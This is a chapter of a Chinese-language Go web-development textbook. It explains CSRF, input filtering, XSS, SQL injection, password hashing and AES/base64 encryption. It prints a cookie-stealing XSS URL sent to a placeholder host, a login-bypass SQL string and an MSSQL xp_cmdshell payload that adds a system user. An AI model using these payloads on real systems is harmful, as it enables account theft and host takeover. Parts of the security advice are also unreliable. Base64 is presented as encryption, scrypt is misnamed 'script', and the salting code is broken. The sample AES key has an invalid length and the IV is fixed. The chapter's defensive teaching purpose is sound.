與安全加密相關的，能夠增強我們的 Web 應用程式的強大手段就是加密，CSDN 洩密事件就是因為密碼儲存的是明文，使得攻擊拿手函式庫之後就可以直接實施一些破壞行爲了。不過，和其他工具一樣，加密手段也必須運用得當。我們將在 9.5 小節介紹如何儲存密碼，如何讓密碼儲存的安全。

加密的本質就是擾亂資料，某些不可恢復的資料擾亂我們稱為單向加密或者雜湊演算法。另外還有一種雙向加密方式，也就是可以對加密後的資料進行解密。我們將會在 9.6 小節介紹如何實現這種雙向加密方式。

### 目錄



### links

- [目錄](#)
- 上一章: [第八章總結](#)
- 下一節: [預防 CSRF 攻擊](#)

## 9.1 預防 CSRF 攻擊

### 什麼是 CSRF

CSRF (Cross-site request forgery)，中文名稱：跨站請求偽造，也被稱為：one click attack/session riding，縮寫為：CSRF/XSRF。

那麼 CSRF 到底能夠幹嘛呢？你可以這樣簡單的理解：攻擊者可以盜用你的登陸資訊，以你的身份模擬傳送各種請求。攻擊者只要藉助少許的社會工程學的詭計，例如透過 QQ 等聊天軟體傳送的連結(有些還偽裝成短域名，使用者無法分辨)，攻擊者就能迫使 Web 應用的使用者去執行攻擊者預設的操作。例如，當用戶登入網路銀行去檢視其存款餘額，在他沒有退出時，就點選了一個 QQ 好友發來的連結，那麼該使用者銀行帳戶中的資金就有可能被轉移到攻擊者指定的帳戶中。

所以遇到 CSRF 攻擊時，將對終端使用者的資料和操作指令構成嚴重的威脅；當受攻擊的終端使用者具有管理員帳戶的時候，CSRF 攻擊將危及整個 Web 應用程式。

### CSRF 的原理

下圖簡單闡述了 CSRF 攻擊的思想



圖 9.1 CSRF 的攻擊過程

從上圖可以看出，要完成一次 CSRF 攻擊，受害者必須依次完成兩個步驟：

- 1. 登入受信任網站 A，並在本地產生 Cookie。
- 2. 在不退出 A 的情況下，訪問危險網站 B。

看到這裡，讀者也許會問：“如果我不滿足以上兩個條件中的任意一個，就不會受到 CSRF 的攻擊”。是的，確實如此，但你不能保證以下情況不會發生：

- 你不能保證你登入了一個網站後，不再開啓一個 tab 頁面並訪問另外的網站，特別現在瀏覽器都是支援多 tab 的。
- 你不能保證你關閉瀏覽器了後，你本地的 Cookie 立刻過期，你上次的會話已經結束。



- 上圖中所謂的攻擊網站，可能是一個存在其他漏洞的可信任的經常被人訪問的網站。

因此對於使用者來說很難避免在登陸一個網站之後不點選一些連結進行其他操作，所以隨時可能成為 CSRF 的受害者。

CSRF 攻擊主要是因為 Web 的隱式身份驗證機制，Web 的身份驗證機制雖然可以保證一個請求是來自於某個使用者的瀏覽器，但卻無法保證該請求是使用者批准傳送的。

## 如何預防 CSRF

過上面的介紹，讀者是否覺得這種攻擊很恐怖，意識到恐怖是個好事情，這樣會促使你接著往下看如何改進和防止類似的漏洞出現。

CSRF 的防禦可以從伺服器端和客戶端兩方面著手，防禦效果是從伺服器端著手效果比較好，現在一般的 CSRF 防禦也都在伺服器端進行。

伺服器端的預防 CSRF 攻擊的方式方法有多種，但思想上都是差不多的，主要從以下 2 個方面入手：

- 1、正確使用 GET,POST 和 Cookie；
- 2、在非 GET 請求中增加偽隨機數；

我們上一章介紹過 REST 方式的 Web 應用，一般而言，普通的 Web 應用都是以 GET、POST 為主，還有一種請求是 Cookie 方式。我們一般都是按照如下方式設計應用：

1、GET 常用在檢視，列舉，展示等不需要改變資源屬性的時候；

2、POST 常用在下達訂單，改變一個資源的屬性或者做其他一些事情；

接下來我就以 Go 語言來舉例說明，如何限制對資源的訪問方法：

```
mux.Get("/user/:uid", getuser)
mux.Post("/user/:uid", modifyuser)
```

這樣處理後，因為我們限定了修改只能使用 POST，當 GET 方式請求時就拒絕響應，所以上面圖示中 GET 方式的 CSRF 攻擊就可以防止了，但這樣就能全部解決問題了嗎？當然不是，因為 POST 也是可以模擬的。

因此我們需要實施第二步，在非 GET 方式的請求中增加隨機數，這個大概有三種方式來進行：

- 為每個使用者產生一個唯一的 cookie token，所有表單都包含同一個偽隨機值，這種方案最簡單，因為攻擊者不能獲得第三方的 Cookie(理論上)，所以表單中的資料也就構造失敗，但是由於使用者的 Cookie 很容易由於網站的 XSS 漏洞而被盜取，所以這個方案必須要在沒有 XSS 的情況下才安全。
- 每個請求使用驗證碼，這個方案是完美的，因為要多次輸入驗證碼，所以使用者友好性很差，所以不適合實際運用。
- 不同的表單包含一個不同的偽隨機值，我們在 4.4 小節介紹“如何防止表單多次遞交”時介紹過此方案，複用相關程式碼，實現如下：

產生隨機數 token

```
h := md5.New()
io.WriteString(h, strconv.FormatInt(crutime, 10))
io.WriteString(h, "ganraomaxxxxxxxxxx")
token := fmt.Sprintf("%x", h.Sum(nil))

t, _ := template.ParseFiles("login.gtpl")
t.Execute(w, token)
```

輸出 token

```
<input type="hidden" name="token" value="{{.}}">
```

驗證 token

```
r.ParseForm()
token := r.Form.Get("token")
if token != "" {
    //驗證 token 的合法性
} else {
    //不存在 token 報錯
}
```

這樣基本就實現了安全的 POST，但是也許你會說如果破解了 token 的演算法呢，按照理論上是，但是實際上破解是基本不可能的，因為有人曾計算過，暴力破解該串大概需要 2 的 11 次方時間。

## 總結

跨站請求偽造，即 CSRF，是一種非常危險的 Web 安全威脅，它被 Web 安全界稱為“沉睡的巨人”，其威脅程度由此“美譽”便可見一斑。本小節不僅對跨站請求偽造本身進行了簡單介紹，還詳細說明造成這種漏洞的原因所在，然後以此提了一些防範該攻擊的建議，希望對讀者編寫安全的 Web 應用能夠有所啟發。

## links

- [目錄](#)
- 上一節: [安全與加密](#)
- 下一節: [確保輸入過濾](#)

## 9.2 確保輸入過濾

過濾使用者資料是 Web 應用安全的基礎。它是驗證資料合法性的過程。透過對所有的輸入資料進行過濾，可以避免惡意資料在程式中被誤信或誤用。大多數 Web 應用的漏洞都是因為沒有對使用者輸入的資料進行恰當過濾所引起的。

我們介紹的過濾資料分成三個步驟：

- 1、識別資料，搞清楚需要過濾的資料來自於哪裡
- 2、過濾資料，弄明白我們需要什麼樣的資料
- 3、區分已過濾及被污染資料，如果存在攻擊資料那麼保證過濾之後可以讓我們使用更安全的資料

### 識別資料

“識別資料”作為第一步是因為在你不知道“資料是什麼，它來自於哪裡”的前提下，你也就不能正確地過濾它。這裡的資料是指所有源自非程式碼內部提供的資料。例如：所有來自客戶端的資料，但客戶端並不是唯一的外部資料來源，資料庫和第三方提供的介面資料等也可以是外部資料來源。

由使用者輸入的資料我們透過 Go 非常容易識別，Go 透過 `r.ParseForm` 之後，把使用者 POST 和 GET 的資料全部放在了 `r.Form` 裡面。其它的輸入要難識別得多，例如，`r.Header` 中的很多元素是由客戶端所操縱的。常常很難確認其中的哪些元素組成了輸入，所以，最好的方法是把裡面所有的資料都看成是使用者輸入。(例如 `r.Header.Get("Accept-Charset")` 這樣的也看做是使用者輸入，雖然這些大多數是瀏覽器操縱的)

### 過濾資料

在知道資料來源之後，就可以過濾它了。過濾是一個有點正式的術語，它在平時表述中有很多同義詞，如驗證、清潔及淨化。儘管這些術語表面意義不同，但它們都是指的另一個處理：防止非法資料進入你的應用。

過濾資料有很多種方法，其中有一些安全性較差。最好的方法是把過濾看成是一個檢查的過程，在你使用資料之前都檢查一下看它們是否符合合法資料的要求。而且不要試圖好心地去糾正非法資料，而要讓使用者按你制定的規則去輸入資料。歷史證明了試圖糾正非法資料往往會導致安全漏洞。這裡舉個例子：“最近建設銀行系統升級之後，如果密碼後面兩位是 0，只要輸入前面四位就能登入系統”，這是一個非常嚴重的漏洞。

過濾資料主要採用如下一些函式庫來操作：

- `strconv` 套件下面的字串轉化相關函式，因為從 `Request` 中的 `r.Form` 返回的是字串，而有些時候我們需要將之轉化成整/浮點數，`Atoi`、`ParseBool`、`ParseFloat`、`ParseInt` 等函式就可以派上用場了。
- `string` 套件下面的一些過濾函式 `Trim`、`ToLower`、`ToTitle` 等函式，能夠幫助我們按照指定的格式取得資訊。
- `regexp` 套件用來處理一些複雜的需求，例如判定輸入是否是 Email、生日之類別。

過濾資料除了檢查驗證之外，在特殊時候，還可以採用白名單。即假定你正在檢查的資料都是非法的，除非能證明它是合法的。使用這個方法，如果出現錯誤，只會導致把合法的資料當成是非法的，而不會是相反，儘管我們不想犯任何錯誤，但這樣總比把非法資料當成合法資料要安全得多。

## 區分過濾資料

如果完成了上面的兩步，資料過濾的工作就基本完成了，但是在編寫 Web 應用的時候我們還需要區分已過濾和被污染資料，因為這樣可以保證過濾資料的完整性，而不影響輸入的資料。我們約定把所有經過過濾的資料放入一個叫全域性的 `Map` 變數中(`CleanMap`)。這時需要用兩個重要的步驟來防止被污染資料的注入：

- 每個請求都要初始化 `CleanMap` 為一個空 `Map`。
- 加入檢查及阻止來自外部資料來源的變數命名為 `CleanMap`。

接下來，讓我們透過一個例子來鞏固這些概念，請看下面這個表單

```
<form action="/whoami" method="POST">
  我是誰:
  <select name="name">
    <option value="astaxie">astaxie</option>
    <option value="herry">herry</option>
    <option value="marry">marry</option>
  </select>
  <input type="submit" />
</form>
```

在處理這個表單的程式設計邏輯中，非常容易犯的錯誤是認為只能提交三個選擇中的一個。其實攻擊者可以模擬 POST 操作，遞交 `name=attack` 這樣的資料，所以在此時我們需要做類似白名單的處理

```
r.ParseForm()
name := r.Form.Get("name")
CleanMap := make(map[string]interface{}, 0)
if name == "astaxie" || name == "herry" || name == "marry" {
    CleanMap["name"] = name
}
```

上面程式碼中我們初始化了一個 `CleanMap` 的變數，當判斷取得的 `name` 是 `astaxie`、`herry`、`marry` 三個中的一個之後，我們把資料儲存到了 `CleanMap` 之中，這樣就可以確保 `CleanMap["name"]` 中的資料是合法的，從而在程式碼的其它部分使用它。當然我們還可以在 `else` 部分增加非法資料的處理，一種可能是再次顯示錶單並提示錯誤。但是不要試圖為了友好而輸出被污染的資料。

上面的方法對於過濾一組已知的合法值的資料很有效，但是對於過濾有一組已知合法字元組成的資料時就沒有什麼幫助。例如，你可能需要一個使用者名稱只能由字母及數字組成：

```
r.ParseForm()
username := r.Form.Get("username")
CleanMap := make(map[string]interface{}, 0)
if ok, _ := regexp.MatchString("[a-zA-Z0-9]+$", username); ok {
    CleanMap["username"] = username
}
```

## 總結

資料過濾在 Web 安全中起到一個基石的作用，大多數的安全問題都是由於沒有過濾資料和驗證資料引起的，例如前面小節的 CSRF 攻擊，以及接下來將要介紹的 XSS 攻擊、SQL 注入等都是沒有認真地過濾資料引起的，因此我們需要特別重視這部分的内容。

## links

- [目錄](#)
- 上一節: [預防 CSRF 攻擊](#)
- 下一節: [避免 XSS 攻擊](#)

## 9.3 避免 XSS 攻擊

隨著網際網路技術的發展，現在的 Web 應用都含有大量的動態內容以提高使用者體驗。所謂動態內容，就是應用程式能夠根據使用者環境和使用者請求，輸出相應的內容。動態站點會受到一種名為“跨站指令碼攻擊”（Cross Site Scripting, 安全專家們通常將其縮寫成 XSS）的威脅，而靜態站點則完全不受其影響。

### 什麼是 XSS

XSS 攻擊：跨站指令碼攻擊(Cross-Site Scripting)，爲了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆，故將跨站指令碼攻擊縮寫爲 XSS。XSS 是一種常見的 web 安全漏洞，它允許攻擊者將惡意程式碼植入到提供給其它使用者使用的頁面中。不同於大多數攻擊(一般只涉及攻擊者和受害者)，XSS 涉及到三方，即攻擊者、客戶端與 Web 應用。XSS 的攻擊目標是爲了盜取儲存在客戶端的 cookie 或者其他網站用於識別客戶端身份的敏感資訊。一旦取得到合法使用者的資訊後，攻擊者甚至可以假冒合法使用者與網站進行互動。

XSS 通常可以分爲兩大類別：一類別是儲存型 XSS，主要出現在讓使用者輸入資料，供其他瀏覽此頁的使用者進行檢視的地方，包括留言、評論、部落格日誌和各類別表單等。應用程式從資料庫中查詢資料，在頁面中顯示出來，攻擊者在相關頁面輸入惡意的指令碼資料後，使用者瀏覽此類別頁面時就可能受到攻擊。這個流程簡單可以描述爲：惡意使用者的 Html 輸入 Web 程式->進入資料庫->Web 程式->使用者瀏覽器。另一類別是反射型 XSS，主要做法是將指令碼程式碼加入 URL 地址的請求引數裡，請求引數進入程式後在頁面直接輸出，使用者點選類似的惡意連結就可能受到攻擊。

XSS 目前主要的手段和目的如下：

- 盜用 cookie，取得敏感資訊。
- 利用植入 Flash，透過 crossdomain 許可權設定進一步取得更高許可權；或者利用 Java 等得到類似的操作。
- 利用 iframe、frame、XMLHttpRequest 或上述 Flash 等方式，以（被攻擊者）使用者的身份執行一些管理動作，或執行一些如：發微博、加好友、發私信等常規操作，前段時間新浪微博就遭遇過一次 XSS。
- 利用可被攻擊的域受到其他域信任的特點，以受信任來源的身份請求一些平時



不允許的操作，如進行不當的投票活動。

- 在訪問量極大的一些頁面上的 XSS 可以攻擊一些小型網站，實現 DDoS 攻擊的效果

## XSS 的原理

Web 應用未對使用者提交請求的資料做充分的檢查過濾，允許使用者在提交的資料中摻入 HTML 程式碼(最主要的是“>”、“<”)，並將未經轉義的惡意程式碼輸出到第三方使用者的瀏覽器解釋執行，是導致 XSS 漏洞的產生原因。

接下來以反射性 XSS 舉例說明 XSS 的過程：現在有一個網站，根據引數輸出使用者的名稱，例如訪問 url：`http://127.0.0.1/?name=astaxie`，就會在瀏覽器輸出如下資訊：

```
hello astaxie
```

如果我們傳遞這樣的 url：`http://127.0.0.1/?`

`name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;`

，這時你就會發現瀏覽器跳出一個彈出框，這說明站點已經存在了 XSS 漏洞。那麼惡意使用者是如何盜取 Cookie 的呢？與上類似，如下這樣的

url：`http://127.0.0.1/?`

`name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;`，這樣就可以把當前的 cookie 傳送到指定的站點：

`www.xxx.com`。你也許會說，這樣的 URL 一看就有問題，怎麼會有人點選？，是的，這類別的 URL 會讓人懷疑，但如果使用短網址服務將之縮短，你還看得出來麼？攻擊者將縮短過後的 url 透過某些途徑傳播開來，不明真相的使用者一旦點選了這樣的 url，相應 cookie 資料就會被髮送事先設定好的站點，這樣子就盜得了使用者的 cookie 資訊，然後就可以利用 Websleuth 之類別的工具來檢查是否能盜取那個使用者的帳戶。

更加詳細的關於 XSS 的分析大家可以參考這篇叫做《[新浪微博 XSS 事件分析](#)》的文章。

## 如何預防 XSS

答案很簡單，堅決不要相信使用者的任何輸入，並過濾掉輸入中的所有特殊字元。這樣就能消滅絕大部分的 XSS 攻擊。

目前防禦 XSS 主要有如下幾種方式：

- 過濾特殊字元

避免 XSS 的方法之一主要是將使用者所提供的內容進行過濾，Go 語言提供了 HTML 的過濾函式：

text/template 套件下面的 `HTMLEscapeString`、`JSEscapeString` 等函式

- 使用 HTTP 頭指定型別

```
`w.Header().Set("Content-Type", "text/javascript")`
```

這樣就可以讓瀏覽器解析 javascript 程式碼，而不會是 html 輸出。

## 總結

XSS 漏洞是相當有危害的，在開發 Web 應用的時候，一定要記住過濾資料，特別是在輸出到客戶端之前，這是現在行之有效的防止 XSS 的手段。

## links

- [目錄](#)
- 上一節: [確保輸入過濾](#)
- 下一節: [避免 SQL 注入](#)

## 9.4 避免 SQL 注入

### 什麼是 SQL 注入

SQL 注入攻擊（SQL Injection），簡稱注入攻擊，是 Web 開發中最常見的一種安全漏洞。可以用它來從資料庫取得敏感資訊，或者利用資料庫的特性執行新增使用者，匯出檔案等一系列惡意操作，甚至有可能取得資料庫乃至系統使用者最高許可權。

而造成 SQL 注入的原因是因為程式沒有有效過濾使用者的輸入，使攻擊者成功的向伺服器提交惡意的 SQL 查詢程式碼，程式在接收後錯誤的將攻擊者的輸入作為查詢語句的一部分執行，導致原始的查詢邏輯被改變，額外的執行了攻擊者精心構造的惡意程式碼。

### SQL 注入例項

很多 Web 開發者沒有意識到 SQL 查詢是可以被篡改的，從而把 SQL 查詢當作可信任的命令。殊不知，SQL 查詢是可以繞開訪問控制，從而繞過身份驗證和許可權檢查的。更有甚者，有可能透過 SQL 查詢去執行主機系統級的命令。

下面將透過一些真實的例子來詳細講解 SQL 注入的方式。

考慮以下簡單的登入表單：

```
<form action="/login" method="POST">
  <p>Username: <input type="text" name="username" /></p>
  <p>Password: <input type="password" name="password" /></p>
  <p><input type="submit" value="登陸" /></p>
</form>
```

我們的處理裡面的 SQL 可能是這樣的：

```
username:=r.Form.Get("username")
password:=r.Form.Get("password")
sql:="SELECT * FROM user WHERE username='"+username+"' AND password='"+password+"'"
```

如果使用者的輸入的使用者名稱如下，密碼任意

```
myuser' or 'foo' = 'foo' --
```

那麼我們的 SQL 變成了如下所示：

```
SELECT * FROM user WHERE username='myuser' or 'foo' = 'foo' --'
AND password='xxx'
```

在 SQL 裡面 `--` 是註釋標記，所以查詢語句會在此中斷。這就讓攻擊者在不知道任何合法使用者名稱和密碼的情況下成功登入了。

對於 MSSQL 還有更加危險的一種 SQL 注入，就是控制系統，下面這個可怕的例子將示範如何在某些版本的 MSSQL 資料庫上執行系統命令。

```
sql:="SELECT * FROM products WHERE name LIKE '"+prod+"'"
Db.Exec(sql)
```

如果攻擊提交 `a%' exec master..xp_cmdshell 'net user test testpass /ADD' --` 作為變數 `prod` 的值，那麼 `sql` 將會變成

```
sql:="SELECT * FROM products WHERE name LIKE '%a%' exec master..
xp_cmdshell 'net user test testpass /ADD'--%'"
```

MSSQL 伺服器會執行這條 SQL 語句，包括它後面那個用於向系統新增新使用者的命令。如果這個程式是以 sa 執行而 MSSQLSERVER 服務又有足夠的許可權的話，攻擊者就可以獲得一個系統帳號來訪問主機了。

雖然以上的例子是針對某一特定的資料庫系統的，但是這並不代表不能對其它資料庫系統實施類似的攻擊。針對這種安全漏洞，只要使用不同方法，各種資料庫都有可能遭殃。

## 如何預防 SQL 注入

也許你會說攻擊者要知道資料庫結構的資訊才能實施 SQL 注入攻擊。確實如此，但沒人能保證攻擊者一定拿不到這些資訊，一旦他們拿到了，資料庫就存在洩露的危險。如果你在用開放原始碼的軟體套件來訪問資料庫，比如論壇程式，攻擊者就很容易得到相關的程式碼。如果這些程式碼設計不良的話，風險就更大了。目前 Discuz、phpwind、phpcms 等這些流行的開源程式都有被 SQL 注入攻擊的先例。

這些攻擊總是發生在安全性不高的程式碼上。所以，永遠不要信任外界輸入的資料，特別是來自於使用者的資料，包括選擇框、表單隱藏域和 cookie。就如上面的第一個例子那樣，就算是正常的查詢也有可能造成災難。

SQL 注入攻擊的危害這麼大，那麼該如何來防治呢？下面這些建議或許對防治 SQL 注入有一定的幫助。

1. 嚴格限制 Web 應用的資料庫的操作許可權，給此使用者提供僅僅能夠滿足其工作的最低許可權，從而最大限度的減少注入攻擊對資料庫的危害。
2. 檢查輸入的資料是否具有所期望的資料格式，嚴格限制變數的型別，例如使用 `regexp` 套件進行一些匹配處理，或者使用 `strconv` 套件對字串轉化成其他基本型別的資料進行判斷。
3. 對進入資料庫的特殊字元（`"`、`'`、`&`、`*`、`;`等）進行轉義處理，或編碼轉換。Go 的 `text/template` 套件裡面的 `HTMLEscapeString` 函式可以對字串進行轉義處理。
4. 所有的查詢語句建議使用資料庫提供的引數化查詢介面，引數化的語句使用引數而不是將使用者輸入變數嵌入到 SQL 語句中，即不要直接拼接 SQL 語句。例如使用 `database/sql` 裡面的查詢函式 `Prepare` 和 `Query`，或者 `Exec(query string, args ...interface{})`。
5. 在應用釋出之前建議使用專業的 SQL 注入檢測工具進行檢測，以及時修補被發現的 SQL 注入漏洞。網上有很多這方面的開源工具，例如 `sqlmap`、

SQLninja 等。

6. 避免網站打印出 SQL 錯誤資訊，比如型別錯誤、欄位不匹配等，把程式碼裡的 SQL 語句暴露出來，以防止攻擊者利用這些錯誤資訊進行 SQL 注入。

## 總結

透過上面的範例我們可以知道，SQL 注入是危害相當大的安全漏洞。所以對於我們平常編寫的 Web 應用，應該對於每一個小細節都要非常重視，細節決定命運，生活如此，編寫 Web 應用也是這樣。

## links

- [目錄](#)
- 上一節: [避免 XSS 攻擊](#)
- 下一節: [儲存密碼](#)

## 9.5 儲存密碼

過去一段時間以來，許多的網站遭遇使用者密碼資料洩露事件，這其中包括頂級的網際網路企業—Linkedin，國內諸如 CSDN，該事件橫掃整個國內網際網路，隨後又爆出多玩遊戲 800 萬用戶資料被洩露，另有傳言人人網、開心網、天涯社群、世紀佳緣、百合網等社群都有可能成為黑客下一個目標。層出不窮的類似事件給使用者的網上生活造成巨大的影響，人人自危，因為人們往往習慣在不同網站使用相同的密碼，所以一家“暴函式庫”，全部遭殃。

那麼我們作為一個 Web 應用開發者，在選擇密碼儲存方案時，容易掉入哪些陷阱，以及如何避免這些陷阱？

### 普通方案

目前用的最多的密碼儲存方案是將明文密碼做單向雜湊後儲存，單向雜湊演算法有一個特徵：無法透過雜湊後的摘要(digest)恢復原始資料，這也是“單向”二字的來源。常用的單向雜湊演算法包括 SHA-256, SHA-1, MD5 等。

Go 語言對這三種加密演算法的實現如下所示：

```
//import "crypto/sha256"
h := sha256.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))

//import "crypto/sha1"
h := sha1.New()
io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.")
fmt.Printf("% x", h.Sum(nil))

//import "crypto/md5"
h := md5.New()
io.WriteString(h, "需要加密的密碼")
fmt.Printf("%x", h.Sum(nil))
```

單向雜湊有兩個特性：

- 1) 同一個密碼進行單向雜湊，得到的總是唯一確定的摘要。
- 2) 計算速度快。隨著技術進步，一秒鐘能夠完成數十億次單向雜湊計算。

結合上面兩個特點，考慮到多數人所使用的密碼為常見的組合，攻擊者可以將所有密碼的常見組合進行單向雜湊，得到一個摘要組合，然後與資料庫中的摘要進行比對即可獲得對應的密碼。這個摘要組合也被稱為 **rainbow table**。

因此透過單向加密之後儲存的資料，和明文儲存沒有多大區別。因此，一旦網站的資料庫洩露，所有使用者的密碼本身就大白於天下。

## 進階方案

透過上面介紹我們知道黑客可以用 **rainbow table** 來破解雜湊後的密碼，很大程度上是因為加密時使用的雜湊演算法是公開的。如果黑客不知道加密的雜湊演算法是什麼，那他也就無從下手了。



一個直接的解決辦法是，自己設計一個雜湊演算法。然而，一個好的雜湊演算法是很難設計的——既要避免碰撞，又不能有明顯的規律，做到這兩點要比想象中的要困難很多。因此實際應用中更多的是利用已有的雜湊演算法進行多次雜湊。

但是單純的多次雜湊，依然阻擋不住黑客。兩次 MD5、三次 MD5 之類別的方法，我們能想到，黑客自然也能想到。特別是對於一些開原始碼，這樣雜湊更是相當於直接把演算法告訴了黑客。

沒有攻不破的盾，但也沒有折不斷的矛。現在安全性比較好的網站，都會用一種叫做“加鹽”的方式來儲存密碼，也就是常說的“salt”。他們通常的做法是，先將使用者輸入的密碼進行一次 MD5（或其它雜湊演算法）加密；將得到的 MD5 值前後加上一些只有管理員自己知道的隨機串，再進行一次 MD5 加密。這個隨機串中可以包括某些固定的串，也可以包括使用者名稱（用來保證每個使用者加密使用的金鑰都不一樣）。

```
//import "crypto/md5"
//假設使用者名稱 abc，密碼 123456

h := md5.New()
io.WriteString(h, "需要加密的密碼")

//pwmd5 等於 e10adc3949ba59abbe56e057f20f883e

pwmd5 :=fmt.Sprintf("%x", h.Sum(nil))

//指定兩個 salt: salt1 = @#$%    salt2 = ^&*()
salt1 := "@#$%"
salt2 := "^&*()"

//salt1+使用者名稱+salt2+MD5 拼接
io.WriteString(h, salt1)
io.WriteString(h, "abc")
io.WriteString(h, salt2)
io.WriteString(h, pwmd5)

last :=fmt.Sprintf("%x", h.Sum(nil))
```

在兩個 salt 沒有洩露的情況下，黑客如果拿到的是最後這個加密串，就幾乎不可能推算出原始的密碼是什麼了。

## 專家方案

上面的進階方案在幾年前也許是足夠安全的方案，因為攻擊者沒有足夠的資源建立這麼多的 rainbow table。但是，時至今日，因為平行計算能力的提升，這種攻擊已經完全可行。

怎麼解決這個問題呢？只要時間與資源允許，沒有破譯不了的密碼，所以方案是：故意增加密碼計算所需耗費的資源和時間，使得任何人都不可獲得足夠的資源建立所需的 rainbow table。

這類別方案有一個特點，演算法中都有個因子，用於指明計算密碼摘要所需要的資源和時間，也就是計算強度。計算強度越大，攻擊者建立 rainbow table 越困難，以至於不可繼續。

這裡推薦 `script` 方案，`script` 是由著名的 FreeBSD 黑客 Colin Percival 為他的備份服務 Tarsnap 開發的。

目前 Go 語言裡面支援的函式庫

<https://github.com/golang/crypto/tree/master/script>

```
dk := script.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32)
```

透過上面的方法可以取得唯一的相應的密碼值，這是目前為止最難破解的。

## 總結

看到這裡，如果你產生了危機感，那麼就行動起來：

- 1) 如果你是普通使用者，那麼我們建議使用 LastPass 進行密碼儲存和產生，對不同的網站使用不同的密碼；
- 2) 如果你是開發人員，那麼我們強烈建議你採用專家方案進行密碼儲存。

## links

- [目錄](#)
- 上一節: [確保輸入過濾](#)
- 下一節: [加密和解密資料](#)

## 9.6 加密和解密資料

前面小節介紹瞭如何儲存密碼，但是有的時候，我們想把一些敏感資料加密後儲存起來，在將來的某個時候，隨需將它們解密出來，此時我們應該在選用對稱加密演算法來滿足我們的需求。

### base64 加解密

如果 Web 應用足夠簡單，資料的安全性沒有那麼嚴格的要求，那麼可以採用一種比較簡單的加解密方法是 `base64`，這種方式實現起來比較簡單，Go 語言的 `base64` 套件已經很好的支援了這個，請看下面的例子：

```
package main

import (
    "encoding/base64"
    "fmt"
)

func base64Encode(src []byte) []byte {
    return []byte(base64.StdEncoding.EncodeToString(src))
}

func base64Decode(src []byte) ([]byte, error) {
    return base64.StdEncoding.DecodeString(string(src))
}

func main() {
    // encode
    hello := "你好，世界！ hello world"
    debyte := base64Encode([]byte(hello))
    fmt.Println(debyte)
    // decode
    enbyte, err := base64Decode(debyte)
    if err != nil {
        fmt.Println(err.Error())
    }

    if hello != string(enbyte) {
        fmt.Println("hello is not equal to enbyte")
    }

    fmt.Println(string(enbyte))
}
```

## 高階加解密

Go 語言的 `crypto` 裡面支援對稱加密的高階加解密套件有：

- `crypto/aes` 套件：AES(Advanced Encryption Standard)，又稱 Rijndael 加密法，是美國聯邦政府採用的一種區塊加密標準。
- `crypto/des` 套件：DES(Data Encryption Standard)，是一種對稱加密標準，是目前使用最廣泛的金鑰系統，特別是在保護金融資料的安全中。曾是美國聯邦政府的加密標準，但現已被 AES 所替代。

因為這兩種演算法使用方法類似，所以在此，我們僅用 `aes` 套件為例來講解它們的使用，請看下面的例子

```
package main

import (
    "crypto/aes"
    "crypto/cipher"
    "fmt"
    "os"
)

var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06,
0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f}

func main() {
    //需要去加密的字串
    plaintext := []byte("My name is Astaxie")
    //如果傳入加密串的話，plaint 就是傳入的字串
    if len(os.Args) > 1 {
        plaintext = []byte(os.Args[1])
    }

    //aes 的加密字串
    key_text := "astaxie12798akljzmknm.ahkjdklj1;k"
    if len(os.Args) > 2 {
        key_text = os.Args[2]
    }

    fmt.Println(len(key_text))

    // 建立加密演算法 aes
```

```

    c, err := aes.NewCipher([]byte(key_text))
    if err != nil {
        fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err)
        os.Exit(-1)
    }

    //加密字串
    cfb := cipher.NewCFBEncrypter(c, commonIV)
    ciphertext := make([]byte, len(plaintext))
    cfb.XORKeyStream(ciphertext, plaintext)
    fmt.Printf("%s=>%x\n", plaintext, ciphertext)

    // 解密字串
    cfbdec := cipher.NewCFBDecrypter(c, commonIV)
    plaintextCopy := make([]byte, len(plaintext))
    cfbdec.XORKeyStream(plaintextCopy, ciphertext)
    fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy)
}

```

上面透過呼叫函式 `aes.NewCipher` (引數 `key` 必須是 16、24 或者 32 位的 `[]byte`，分別對應 AES-128, AES-192 或 AES-256 演算法)，返回了一個 `cipher.Block` 介面，這個介面實現了三個功能：

```

type Block interface {
    // BlockSize returns the cipher's block size.
    BlockSize() int

    // Encrypt encrypts the first block in src into dst.
    // Dst and src may point at the same memory.
    Encrypt(dst, src []byte)

    // Decrypt decrypts the first block in src into dst.
    // Dst and src may point at the same memory.
    Decrypt(dst, src []byte)
}

```

這三個函式實現了加解密操作，詳細的操作請看上面的例子。

## 總結

這小節介紹了幾種加解密的演算法，在開發 Web 應用的時候可以根據需求採用不同的方式進行加解密，一般的應用可以採用 base64 演算法，更加進階的話可以採用 aes 或者 des 演算法。

## links

- [目錄](#)
- 上一節: [儲存密碼](#)
- 下一節: [小結](#)



## 9.7 小結

這一章主要介紹瞭如：CSRF 攻擊、XSS 攻擊、SQL 注入攻擊等一些 Web 應用中典型的攻擊手法，它們都是由於應用對使用者的輸入沒有很好的過濾引起的，所以除了介紹攻擊的方法外，我們也介紹了如何有效的進行資料過濾，以防止這些攻擊的發生的方法。然後針對日異嚴重的密碼洩漏事件，介紹了在設計 Web 應用中可採用的從基本到專家的加密方案。最後針對敏感資料的加解密簡要介紹了，Go 語言提供三種對稱加密演算法：base64、aes 和 des 的實現。

編寫這一章的目的是希望讀者能夠在意識裡面加強安全概念，在編寫 Web 應用的時候多留心一點，以使我們編寫的 Web 應用能遠離黑客們的攻擊。Go 語言在支援防攻擊方面已經提供大量的工具套件，我們可以充分的利用這些套件來做出一個安全的 Web 應用。

## links

- [目錄](#)
- 上一節: [加密和解密資料](#)
- 下一節: [國際化和本地化](#)

## 10 國際化和本地化

爲了適應經濟的全球一體化，作爲開發者，我們需要開發出支援多國語言、國際化的 Web 應用，即同樣的頁面在不同的語言環境下需要顯示不同的效果，也就是說應用程式在執行時能夠根據請求所來自的地域與語言的不同而顯示不同的使用者介面。這樣，當需要在應用程式中新增對新的語言的支援時，無需修改應用程式的程式碼，只需要增加語言套件即可實現。

